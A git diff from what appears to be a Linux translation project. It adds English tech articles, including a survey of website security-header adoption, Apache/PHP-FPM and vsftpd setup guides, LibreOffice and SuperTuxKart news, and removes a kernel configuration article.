was conducted in March 2013. + +### Changes, Additions and Removals from March 2013 ### + +We have a lot more URLs that matched since last March, yet surprisingly, the charts look extremely similar. 7,099 new security headers were added for the 1,207,169 URLs that matched between this run and March 2013. Of these sites, a disappointingly small number of 62 sites enabled Content-Security-Policy with 47 sites enabling the soon to be disabled X-Content-Security-Policy header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_03.13-11.13.png) + +While it would be nice to see CSP’s adoption rates increase more, it is quite understandable as it is such a large undertaking for any website to create a compliant policy. + +### November 2013 Results ### + +#### X-XSS-Protection #### + +This time around another header was added to the analysis. The Microsoft endorsed header was built to allow sites to control how Internet Explorer’s XSS Filtering feature is to be handled on a resource by resource basis. Valid values for X-XSS-Protection are as follows: + +1. 0 – Disables XSS protections +1. 1 – Enables XSS protections, in IE the filter will attempt to sanitize potential malicious characters. +1. 1; mode=block – Enables XSS protections and instructs IE to block the response instead of sanitizing. +1. 1; report=[url] – Allows reports to be sent to the specified URL of potential XSS attempts. + +It should be noted that Google Chrome’s XSS Auditor will also be disabled if a resource responds with 0 as the value for the X-XSS-Protection header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_xss_protection_11.13.png) + +As previous readers will remember, invalid header values are a serious problem and X-XSS-Protection is no exception. Almost 480 sites incorrectly specified the value of “0; mode=block”. This means that 477 sites who think they are blocking XSS attacks are actively disabling the XSS protections built in to IE and Chrome. Please note that [YouTube][1] and [Blogspot][2] make up the majority of URLs using X-XSS-Protection with 14,210 for YouTube and 18,587 for Blogspot. + +### X-Frame-Options ### + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_frame_options_11.13.png) + +X-Frame-Options is still holding strong with SAMEORIGIN being by far the largest setting with YouTube again taking up the majority with 14,178 URLs all of which are set to SAMEORIGIN. Along with the jump in sites using X-Frame-Options we are also seeing an increase in invalid values being configured. + +### Cross Origin Request Sharing (CORS) Headers ### + +Once again we looked at the two CORS headers Access-Control-Allow-Origin and Access-Control-Allow-Credentials. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/acao_11.13.png) + +Unfortunately, we are still seeing a large number of sites incorrectly configuring Access-Control-Allow-Origin by specifying wildcards or multiple origins separated by various characters. As a reminder Access-Control-Allow-Origin only allows either * (wildcard value) or a single origin with a valid scheme specified. + +As for Access-Control-Allow-Credentials, 1388 sites have set the value to true, 51 for false. Surprisingly, we identified 196 sites setting wildcard origin access but setting Access-Control-Allow-Credentials to true which is an invalid combination of settings. + +### Strict-Transport-Security ### + +Due to readers suggestions we have changed the long max-age value to be anything greater than 604800 seconds, or 7 days. Likewise, values below are considered to be a short max-age. [Facebook][3] and [Etsy][4] comprise 74 and 61 URLs respectively in the Max Age of 0 column. As a reminder, a header value of 0 clears the domain from the browser’s Strict Transport Security cache. Of the more interesting invalid values, a large number of sites incorrectly use ‘,’ as a delimiter between the max-age value and includeSubDomains directives. Unfortunately, both Firefox and Chrome are extremely strict in this regard and will refuse to add the site to the STS cache if the ‘,’ character is used instead of the RFC defined token of ‘;’. Once again, please check the RFCs before implementing any of these security headers. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/sts_11.131.png) + +#### Content-Security-Policy #### + +Content Security Policy continues to grow in usage but extremely slowly. Only 269 sites are using the [w3 specification’s Content-Security-Policy][5] header, with 95 of these URLs coming from Facebook. Interestingly, 584 sites are using X-Content-Security-Policy and 487 sites are using X-Webkit-CSP. It should be noted that these two headers are already considered deprecated but have yet to be disabled. Only an extremely small number of sites using the report-only versions of the CSP headers were observed. It would be expected that web site operators wishing to test out CSP would use the report only mode to determine how Content Security Policy would impact their site, yet we only see 24 sites using Content-Security-Policy-Report-Only. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/csp_11.13.png) + +The most interesting result of the CSP analysis is the large number of sites which use CSP with the unsafe directives. It is assumed the reason unsafe-inline has such a high rate of usage is due to how extremely hard it is for developers to remove all inline script from web page elements. While disappointing to see, it is understandable to anyone who has attempted to enact a strict CSP policy. + +### Conclusion ### + +It is safe to say that we have a long way to go to making sure our sites use all available means to protect themselves. While security headers are only a small part of defense, applied appropriately they can and do help us all be more secure internet users. While encouraging to see the numbers increasing, we must keep in mind that less than 10% (199,350) of the 2,589,918 URLs analyzed have security headers. While strict adherence to RFCs is necessary, typos, combined with the rigidness of directive parsing, do not help site administrators or users when encountering these headers. While hope should not be given up on CSP, it’s extremely low adoption rate is rather concerning and it may be worth considering creation of tools to help create, verify and support site administrators that wish to adopt CSP. + +As before, Veracode has released the raw data from this analysis, so feel free to download the November 2013 results here. + +-------------------------------------------------------------------------------- + +via: http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/ +[2]:http://www.blogspot.com/ +[3]:http://www.facebook.com/ +[4]:http://www.etsy.com/ +[5]:http://www.w3.org/TR/CSP/ \ No newline at end of file diff --git a/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md b/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md new file mode 100644 index 0000000000..ed25ed04ba --- /dev/null +++ b/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md @@ -0,0 +1,31 @@ +Senior researchers analyzed LibreOffice with interesting conclusions +================================================================================ +Users, editors, state departments, teams and city administrations are enjoying [LibreOffice][1], free open-source office suite proving itself a clear success across the globe with more and more adoptions, more and more positive feedback. + +While the users perceive LibreOffice as no-compromise and powerful, it seems that serious researchers have also found and described LibreOffice as a true success, as in the case of the "**Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?**" document, too. + +Essentially, "Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?" is a research document [focused][2] on LibreOffice and its components, ranging from status to public perception, future capabilities, ability to attract supporters and contributors. + +The conclusions of the mentioned document, while natural, talk about LibreOffice as a success on all fronts, conclusions such as: + +- "The LibreOffice project, which was forked from the OpenOffice.org project, shows no sign of +- long-term decline" +- "LibreOffice has attracted the long-term and most active committers in OpenOffice.org" +- "Open Source communities can outlive Open Source software projects" +- "LibreOffice is perceived by its community as supportive, diversified, and independent" + +![](http://iloveubuntu.net/pictures_me/libreoffice%20reasearch%20highlights.png) + +The serious 60-pages-long document (available for download on [http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft...][3]) presents LibreOffice as detailed, being an in-depth accurate analysis of the robust office suite, document written by senior researchers from the University of Skövde’s Informatics Research Centre. + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/ +[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744 +[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf \ No newline at end of file diff --git a/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md new file mode 100644 index 0000000000..5aaecc5dbf --- /dev/null +++ b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md @@ -0,0 +1,209 @@ +Crowner's crown +Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10 +================================================================================ +### mod_proxy_fcgi ### + +The module mod_proxy_fcgi is a new one and it allows apache to connect to/forward requests to an external fastcgi process manager like php fpm. This allows for a complete separation between the running of php scripts and Apache. Earlier we had to use modules like mod_fcgid and mod_fastcgi which all had some limitations. Mod_fcgid for example did not properly utilise the process management capability of php-cgi whereas mod_fastcgi is a third party module. + +With the arrival of mod_proxy_fcgi Apache finally gets the ability to neatly talk to external fastcgi process managers making it more efficient at the task. Delegating php requests to external fpm servers greatly reduces the load on web servers like apache resulting into efficient utilisation of machine resources and faster processing speed for users on the other end. Along with all that, php fpm can run opcode caching engines like apc in a very stable manner. + +So in this post, our task is to setup apache + php-fpm using the mod_proxy_fcgi connector. + +### 1. Setup Apache ### + +Ubuntu 13.10 already ships with apache 2.4 so all installables are in the repository itself. + +Install Apache if not already done + + $ sudo apt-get install apache2 + +Enable mod_proxy_fcgi + + $ sudo a2enmod proxy_fcgi + Considering dependency proxy for proxy_fcgi: + Enabling module proxy. + Enabling module proxy_fcgi. + To activate the new configuration, you need to run: + service apache2 restart + +Restart Apache + + $ sudo service apache2 restart + +### Configure virtual host ### + +Next task is to configure a vhost to use mod fcgi proxy to communicate with fpm. The vhost configuration files are stored in the following location + + /etc/apache2/sites-available + +Get inside there any create your new vhost configuration file by copying the 000-default.conf file which comes with apache. + + $ cd /etc/apache2/sites-available + $ sudo cp 000-default.conf mysite.conf + $ sudo nano mysite.conf + +Now its time to configure the virtualhost. Here is how I configured the file + +> +> # The ServerName directive sets the request scheme, hostname and port that +> # the server uses to identify itself. This is used when creating +> # redirection URLs. In the context of virtual hosts, the ServerName +> # specifies what hostname must appear in the request's Host: header to +> # match this virtual host. For the default virtual host (this file) this +> # value is not decisive as it is used as a last resort host regardless. +> # However, you must set it for any further virtual host explicitly. +> +> ServerName fpm.localhost +> +> ServerAdmin webmaster@localhost +> DocumentRoot /var/www/mysite +> +> # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, +> # error, crit, alert, emerg. +> # It is also possible to configure the loglevel for particular +> # modules, e.g. +> #LogLevel info ssl:warn +> +> ErrorLog ${APACHE_LOG_DIR}/error.log +> CustomLog ${APACHE_LOG_DIR}/access.log combined +> +> # For most configuration files from conf-available/, which are +> # enabled or disabled at a global level, it is possible to +> # include a line for only one particular virtual host. For example the +> # following line enables the CGI configuration for this host only +> # after it has been globally disabled with "a2disconf". +> #Include conf-available/serve-cgi-bin.conf +> +> ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/mysite/$1 +> +> +> Order allow,deny +> Allow from all +> AllowOverride FileInfo All +> # New directive needed in Apache 2.4.3: +> Require all granted +> +> +> + +The important things to note are : + +1. **ServerName** - This is the domain or the subdomain of your vhost. In this example I used fpm.localhost so that when using that sub domain on localhost, php fpm is used. Its just an example. + +2. **DocumentRoot** - This is the root of this vhost from where the web files shall be served. + +3. **ProxyPassMatch** - This is the directive that tells forward all requests for ".php" files to fcgi server at 127.0.0.1:9000. This is where our php fpm process manager would be running. More on this in the next section. +The fcgi url must contain the exact path to the document root. Otherwise it would say "File Not Found" when requesting for files. + +> ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/mysite/$1 + +The first parameter is the pattern to match. So all urls that have a ".php" in them followed by an option slash and anything else are matched and the matched part is forwarded to the fcgi server running at 127.0.0.1:9000. + +4. **Require all granted** - After the ProxyPassMatch line we added a section with Require and AllowOverride directives. It is necessary as of Apache 2.4 + +Save the file and enable it using the a2ensite command which saves the effort to create the symlink in sites-enabled directory. + + $ sudo a2ensite mysite + Enabling site mysite. + To activate the new configuration, you need to run: + service apache2 reload + +Now reload apache configuration + + $ sudo service apache2 reload + * Reloading web server apache2 + +That completes the apache configuration. The other half of the task is to configure php fpm so that it can finally work. + +### 2. Setup Php-FPM ### + +Next thing is to setup php fpm. Install it via synaptic, if not already done so. + + $ sudo apt-get install php5-fpm + +The configuration files for fpm are located at + +> /etc/php5/fpm + + /etc/php5/fpm$ ls + conf.d php-fpm.conf php.ini pool.d + +The pool.d directory contains the configuration file for each fpm pool and php-fpm.conf is the main configuration file. Our only work is to configure a fpm pool that is to be used with apache or the specific virtual host. + +The configuration file for a pool is quite large and there are many parameters that can be configured. But in this post we shall be talking about only the important fields that need be set to get fpm up and running + +> ; Start a new pool named 'www'. +> ; the variable $pool can we used in any directive and will be replaced by the +> ; pool name ('www' here) +> [www] +> +> ; Per pool prefix +> ; It only applies on the following directives: +> ; - 'slowlog' +> ; - 'listen' (unixsocket) +> ; - 'chroot' +> ; - 'chdir' +> ; - 'php_values' +> ; - 'php_admin_values' +> ; When not set, the global prefix (or /usr) applies instead. +> ; Note: This directive can also be relative to the global prefix. +> ; Default Value: none +> ;prefix = /path/to/pools/$pool +> +> ; Unix user/group of processes +> ; Note: The user is mandatory. If the group is not set, the default user's group +> ; will be used. +> user = enlightened +> group = enlightened +> +> ; The address on which to accept FastCGI requests. +> ; Valid syntaxes are: +> ; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific address on +> ; a specific port; +> ; 'port' - to listen on a TCP socket to all addresses on a +> ; specific port; +> ; '/path/to/unix/socket' - to listen on a unix socket. +> ; Note: This value is mandatory. +> listen = 127.0.0.1:9000 +> +> ; Set listen(2) backlog. +> ; Default Value: 128 (-1 on FreeBSD and OpenBSD) +> ;listen.backlog = 128 + +Create a new configuration file by copying the www.conf file. And edit the fields as explained next. + +1. The first options is the name of the pool. We named it 'www' over here. Name it to anything you like or after the domain name it is going to be used with. 'yoursite' for example. That way it would be easier to remember. + +2. Setup the user and group that this pool will run with. When you are setting up multiple sites/domains/virtualhosts on a server, you would always want to setup separate user accounts and corresponding pool for each of those. This is an essential security measure, so that every pool has privileges of its own user only. + +3. Setup the listening socket. This is the socket on which the master fpm process shall listen for incoming requests. This can be a unix socket or a tcp socket. However [mod_proxy_fcgi does not yet support unix sockets][1], so we are limited to tcp sockets. +Over here its port number 9000 on localhost. + +Now restart fpm + + $ sudo service php5-fpm restart + +Now the new fpm pool should take effect. You can see the new pool process in htop for example. + +### 3. Test the setup ### + +Now that both apache and php fpm are configured and setup, its time to test. Get inside the document root directory and create a php file containing a call to phpinfo() function and open it in your browser. +The "Server API" should be reported as "FPM/FastCGI". + +Now that apache and php are setup, you may want to install other things like APC, mariadb database, phpmyadmin etc. Move around this site to find how-to guides on those. + +### Resources ### + +Check out the following links to learn more +[https://wiki.apache.org/httpd/PHP-FPM][2] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-apache-php-fpm-mod-proxy-fcgi-ubuntu/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://issues.apache.org/bugzilla/show_bug.cgi?id=54101 +[2]:https://wiki.apache.org/httpd/PHP-FPM \ No newline at end of file diff --git a/sources/Setup FTP Server On openSUSE 13.1.md b/sources/Setup FTP Server On openSUSE 13.1.md new file mode 100644 index 0000000000..a71f7baae5 --- /dev/null +++ b/sources/Setup FTP Server On openSUSE 13.1.md @@ -0,0 +1,191 @@ +translating by zsJacky + +Setup FTP Server On openSUSE 13.1 +================================================================================ +**vsftpd** (**V**ery **S**ecure **F**ile **T**ransport **P**rotocol **D**aemon) is a secure, fast FTP server for Unix/Linux systems. In this how-to article, let us see how to setup a basic FTP server using vsftpd on openSUSE 13.1. + +### Install vsftpd ### + +Login as root user and Enter the following the following command. + + # zypper in vsftpd + +Start vsftpd service and make it to start automatically on every reboot. + + # systemctl enable vsftpd.service + # systemctl start vsftpd.service + +### Configure vsftpd ### + +Create a folder for ftp users. + + # mkdir /srv/ftp + +Create a group called **ftp-users**. + + # groupadd ftp-users + +Let us create a sample user called unixmen with home directory **/srv/ftp** and group **ftp-users**. + + # useradd -g ftp-users -d /srv/ftp/ unixmen + +Set password for the new user. + + # passwd unixmen + +Make the ftp home directory **/srv/ftp/** accessible by ftp users. + + # chmod 750 /srv/ftp/ + # chown unixmen:ftp-users /srv/ftp/ + +Edit file vsftpd.conf, + + # nano /etc/vsftpd.conf + +Make the changes as shown below. + + [...] + #Uncomment and Set YES to enable write. + write_enable=YES + [...] + # Uncomment and Set banner name for your website + ftpd_banner=Welcome to Unixmen FTP service. + [...] + # Uncomment + ls_recurse_enable=YES + [...] + # Uncomment and set YES to allow local users to log in. + local_enable=YES + [...] + # To disable anonymous access, set NO. + anonymous_enable=NO + [...] + # Uncomment to enable ascii download and upload. + ascii_upload_enable=YES + ascii_download_enable=YES + [...] + ## Add at the end of this file ## + use_localtime=YES + +Save and exit file. + +### Test FTP Server Locally ### + +First let us try to login to our FTP server as shown below. + + # ftp localhost + Trying ::1:21 ... + Connected to localhost. + 220 (vsFTPd 3.0.2) + Name (localhost:root): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +As you in the above output, we will be able to login to ftp server using unixmen user. + +### Test FTP Server Remotely ### + +By default openSUSE built-in firewall won’t allow to login to FTP from remote systems. So let us allow vsftpd service through suse firewall. To do that go to **Yast -> Security and Users -> Firewall**. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_001.jpg) + +In the Firewall section, go to **Allowed Services**. In the zone selection drop down box, select **External Zone** and in Service to Allow drop-down box, select **vsftpd server** and click add. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_004.jpg) + +Click Next and close Yast Control center. + +Now try to connect from a remote system. + +I tried to login to FTP server from my ubuntu desktop. + + sk@sk:~$ ftp 192.168.1.53 + Connected to 192.168.1.53. + 220 (vsFTPd 3.0.2) + Name (192.168.1.53:sk): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +As you see in the above output, I will be able to connect to FTP server. If you doesn’t allow the vsftpd service through firewall you will get a Connection timed out error. + +### Connect from Browser ### + +Open up your browser and Navigate to **ftp://ip-address/**. Enter the ftp user name and password. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-of-ftp-192.168.1.53-Mozilla-Firefox_005.jpg) + +### Connect to FTP server using FileZilla ### + +Working from command-line mode might be little bit annoying to newbies. So let us install a graphical FTP client called [**Filezilla**][1] to get things done quite easier: + +Mostly all distribution will have filezilla client in their official repository. To install filezilla on Linux based systems enter the following command: + +On Ubuntu based systems: + + $ sudo apt-get install filezilla + +On Fedora/Redhat systems: + + $ sudo yum install filezilla + +On openSUSE: + + # zypper in filezilla + +After installing filezilla open it. Enter the ftp server IP address, user name and password and click quickconnect. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/unixmen@192.168.1.53-FileZilla_006.jpg) + +For added security, you can restrict FTP access to certain users by adding them to **/etc/vsftpd.chroot_list** file. + +Edit vsftpd.conf file, + + nano /etc/vsftpd.conf + +Make the changes as shown below. + + [...] + # Uncomment and set YES + chroot_local_user=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list + [...] + +Create **file /etc/vsftpd.chroot_list**, + + nano /etc/vsftpd.chroot_list + +Add the users that you want to give access to FTP server. I added the user **unixmen**. + + unixmen + +Restart ftp service. + + # systemctl restart vsftpd.service + +Now you will be able to connect to FTP server with users who are listed in the chroot list file. + +If users other than in the chroot list want to access FTP server, they will get the following error. + + 500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list + ftp: Login failed + +That’s it for now. Your FTP server is ready to use. Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/ + +译者:[zsJacky](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://filezilla-project.org/ \ No newline at end of file diff --git a/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md b/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md new file mode 100644 index 0000000000..50cb9cb222 --- /dev/null +++ b/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md @@ -0,0 +1,38 @@ +SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing +================================================================================ +**Hands up if you don’t like open-source racing game SuperTuxKart? You, folks, are strange.** + +As kart-racers go, it’s one of the most popular freely available. And for good reason: it’s fun, easy to play and has a dedicated team of developers who are continually adding to and improving what is already a really polished game. + +But it’s getting even better. The first release candidate of build 0.8.1 – the first update since last year’s 0.8 build – [has been made available for testing][1] (for ‘testing’ see ‘excuse to play it for hours and not feel guilty’). + +SuperTuxKart 0.8.1 adds a number of improvements, including: + +- A new Star Trek themed track “STK Enterprise” +- Three tracks updated (‘Old Mines’, ‘Lighthouse’ & ‘Zen Garden’) +- New ‘Egg Hunt’ and ‘Soccer’ modes +- New and updated karts +- New difficulty level +- Bubblegum shield weapon +- Option to save and resume Grand Prix mode +- [WiiMote Support][2] + +### Geting SuperTuxKart 0.8.1 ### + +No release date has been given on when to expect the final, stable release of 0.8.1 but I’d expect it to land sometime in December – marking one year from the previous release in the 0.8.x series. + +In the meantime, if you’re okay with “Release Candidate”-quality software, you’ll find a pre-compiled binary for Linux over on the project’s Sourceforge Page. + +- [Download SuperTuxKart 0.8.1 Release Candidate][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/supertux-kart-0-8-1-release-candidate + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://supertuxkart.blogspot.co.uk/2013/11/supertuxkart-081-rc1.html +[2]:http://supertuxkart.net/Wiimote +[3]:http://sourceforge.net/projects/supertuxkart/files/SuperTuxKart/0.8.1-rc1/ \ No newline at end of file diff --git a/sources/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md b/sources/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md deleted file mode 100644 index 2c6f9de154..0000000000 --- a/sources/The Linux Kernel/16 The Linux Kernel--Configuring the Kernel Part 12.md +++ /dev/null @@ -1,127 +0,0 @@ -translating---------geekpi - -16 The Linux Kernel: Configuring the Kernel Part 12 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.539/) - -Welcome and enjoy the next part of the Linux kernel configuration series. The kernel supports a large variety of hardware, protocols, and features as you have already guessed. - -The next set of features we will discuss is "EEPROM support". Electrically Erasable Programmable Read-Only Memory is a form of memory that is not erased when the power is lost or purposely shut off. - -The kernel supports EEPROM chips on I2C cards including FRAMs, ROMs, and SRAMs (I2C EEPROMs / RAMs / ROMs from most vendors). FRAM (also called FeRAM is a Random Access Memory chip that uses ferroelectric principles instead of dieletric materials to store data. A ROM chip is a Read Only Memory chip. SRAM is Static instead of Dynamic like DRAM. DRAM must be refreshed to retain data while SRAM does not require refreshing. However, both lose the stored data when the power is turned off or lost. - -The kernel also supports EEPROMs for SPI buses (SPI EEPROMs from most vendors). The Serial Peripheral Interface Bus (SPI) is a full duplex bus system that lacks an error-checking protocol. - -The older I2C EEPROM chips require a driver other than the I2C driver above (Old I2C EEPROM reader). The I2C bus is intended for embedded systems and cellphones due to the low-speed bus protocol that is used. - -This feature is needed to prevent the Maxim programmable EEPROM from going into read-only mode (Maxim MAX6874/5 power supply supervisor). Specifically, this driver provides better power management to the chip. - -There is also a driver for "EEPROM 93CX6 support", "Microwire EEPROM 93XX46 support", and then "ENE CB710/720 Flash memory card reader support". - -Like with many other kernel features, there are debugging features for EEPROM devices (Enable driver debugging). Again, for better performance, disable debugging features. - -Next, we have a Texas Instruments feature (Shared transport core driver). This driver provides transport protocols for BT/FM and GPS chips. - -The following driver supports the I2C LIS3LV02Dx accelerometer (STMicroeletronics LIS3LV02Dx three-axis digital accelerometer (I2C)). The data provided by the device is stored in /sys/devices/platform/lis3lv02d. - -Next, the Linux kernel supports a module for downloading firmware to Altera's FPGA (Altera FPGA firmware download module). An FGPA is a field-programmable gate array. These are programmable integrated circuits. - -The "Intel Management Engine Interface" offers security and other services to Intel chips. - -"ME Enabled Intel Chipsets" can have MEI support. MEI is Management Engine Interface. This driver gives supported chipsets MEI services. - -The "VMware VMCI Driver" is a high-speed virtual device for relaying communications between the guest and host. VMCI stands for Virtual Machine Communication Interface. - -Next, "ATA/ATAPI/MFM/RLL support" can be enabled/disabled. MFM (Modified Frequency Modulation) is a specific method for encoding floppy disk bits. However, this does not work on all floppy disks. MFM uses the RLL (Run-Length Limited) coding scheme. RLL transfers data going through communication systems that have bandwidth limits. ATAPI is the previously mentioned ATA Packet Interface and ATA is the same ATA mentioned when discussing interface standards. - -Now, we will discuss SCSI support. Small Computer System Interface is another interface standard as is SATA. USB and FireWire devices use the SCSI protocol. - -The first SCSI setting concerns the "RAID Transport Class". This allows RAID to use the SCSI standard. - -To use SCSI targets, enable this feature (SCSI target support). - -If the system will run old Linux applications, the system may need "legacy /proc/scsi/ support".This will create the SCSI files once placed in /proc/scsi/. - -To support SCSI disks, enable the next feature (SCSI disk support). This is a generic driver. - -To support SCSI tapes, enable this feature (SCSI tape support). This is a generic driver. A SCSI tape drive stores data on tape-like magnetic strips. - - -The OnStream SCSI tapes need this driver instead of the previously mentioned generic SCSI driver (SCSI OnStream SC-x0 tape support). - -For "SCSI CDROM support" enable this feature. Some CD-ROMs use the SCSI protocol. - -Next, the user can enable "Enable vendor-specific extensions (for SCSI CDROM)". - -This is a SCSI driver that is a generic driver for a larger variety of SCSI devices (SCSI generic support). This is mainly used for SCSI scanners and other SCSI devices not supported by the previously mentioned SCSI drivers or those discussed afterwards. - -Some SCSI jukeboxes need this SCSI driver (SCSI media changer support). - -The Linux kernel offers "SCSI Enclosure Support". A SCSI enclosure is a device that manages the power and cooling of the SCSI device as well as offer other services not related to the data. - -The Linux kernel should be set to search for all Logical Unit Numbers (LUN) for each SCSI device (Probe all LUNs on each SCSI device). A LUN is a SCSI address. - -Extra error reporting is available for SCSI (Verbose SCSI error reporting (kernel size +=12K)). This will increase the size of the kernel significantly. - -There is also a logger for SCSI (SCSI logging facility). - -To enhance your system, enable this feature that allows SCSI to be probed while the system boots up rather than booting and then probing (Asynchronous SCSI scanning). Most systems can perform both tasks at once, so why not allow it? For hardware with many SCSI devices attached, this will increase boot time significantly. - -Next, "Parallel SCSI (SPI) Transport Attributes" allows each SCSI device to send transport information to sysfs. Some systems require this feature. - -This next feature is the same as above, but sends information about transport from FiberChannel devices (FiberChannel Transport Attributes). FiberChannel devices use SCSI. - -Next, the user can enable/disable "SCSI target support for FiberChannel Transport Attributes". - -Transport information from iSCSI devices and SAS devices can also be exported to sysfs (iSCSI Transport Attributes) and (SAS Transport Attributes). SAS stands for Serial Attached SCSI. - -Next, ATA support is added to libsas (ATA support for libsas (requires libata)). Note that the configuration tools says libata is required. To satisfy this need, enable ATA support. Most likely, the configuration tool has or will do this for you, but double check anyway. libsas and libata are the libraries that provide support for SAS and ATA, respectively. - -The next feature permits SAS interfaces to accept SMP frames (Support for SMP interpretation for SAS hosts). This adds a SMP interpreter to libsas. However, this does increase the kernel's size. SMP frames allow all processors on multi-CPU systems to access SAS devices. - -SRP can send transport data to sysfs (SRP Transport Attributes). SRP stands for SCSI RDMA Protocol. RDMA stands for Remote Direct Memory Access. This means SRP is a protocol used to access data from remote SCSI devices attached to another computer. - -Next, the user can enable "SCSI target support for SRP Transport". - -Low-level SCSI drivers can be enabled (SCSI low-level drivers). This provides many basic drivers. - -After that, users can enable/disable "PCMCIA SCSI adapter support". This adapter allows SCSI devices to attach to PC cards. - -There are some drivers for specific adapters - (Future Domain PCMCIA support), (Qlogic PCMCIA support), and (Symbios 53c500 PCMCIA support). - -Devices with multi-path setups will need this feature (SCSI Device Handlers). This is used in clusters where each node needs a direct path to a SCSI storage unit. - -Next, the "OSD-Initiator library" can be enabled. This is a SCSI driver that provides patches, the OSD protocol, and the T10 protocol to SCSI devices. OSD stands for Object-based Storage Device; this is discussed more in the next paragraph. - -This feature makes a SCSI upper layer for testing and managing /dev/osdx devices (OSD Upper Level driver). exofs uses this driver for mounting OSD-based filesystems. OSD devices are storage devices that do not use blocks like other storage units. Instead, OSD devices store data in containers called objects. exofs was once called OSDFS. - -OSD features provide debugging tools if enabled (Compile All OSD modules with lots of DEBUG prints). - -Now, we can discuss Serial ATA and Parallel ATA features and drivers. The first feature to enable/disable is for debugging (Verbose ATA error reporting). - -Next, users should enable the Advanced Configuration and Power Interface feature for ATA devices (ATA ACPI Support). This will allow the kernel to manage power usage more efficiently in SATA devices. - -The kernel contains a driver for "SATA Zero Power Optical Disc Drive (ZPODD) support". This powers off SATA optical disc drives (ODD) when not in use. This saves energy and reduces wear and tear. - -TIP: Even when making a high-performance kernel, try to enable all power management features. This reduces power consumption, operating costs, heat production (heat reduces performance), and wear and tear. - -SATA port multipliers need this driver (SATA Port Multiplier support). A port multiplier is a device that has numerous ports but only needs to plug into one port itself. For instance, if a piece of hardware has one SATA port, but more are needed, plug the port multiplier into the one port. Now the device has many SATA ports. - -Next is a driver for AHCI SATA (AHCI SATA support). Advanced Host Controller Interface (AHCI) is an operation standard for SATA bus adapters. - -For AHCI SATA devices to be supported on SoC hardware, this driver must be enabled (Platform AHCI SATA support). SoC stands for System-on-a-Chip. - -Next are some drivers for some specific devices. -Initio 162x SATA support -ACard AHCI variant (ATP 8620) -Silicon Image 3124/3132 SATA support - -Again, watch and wait for the next awesome article. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-12.4681/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 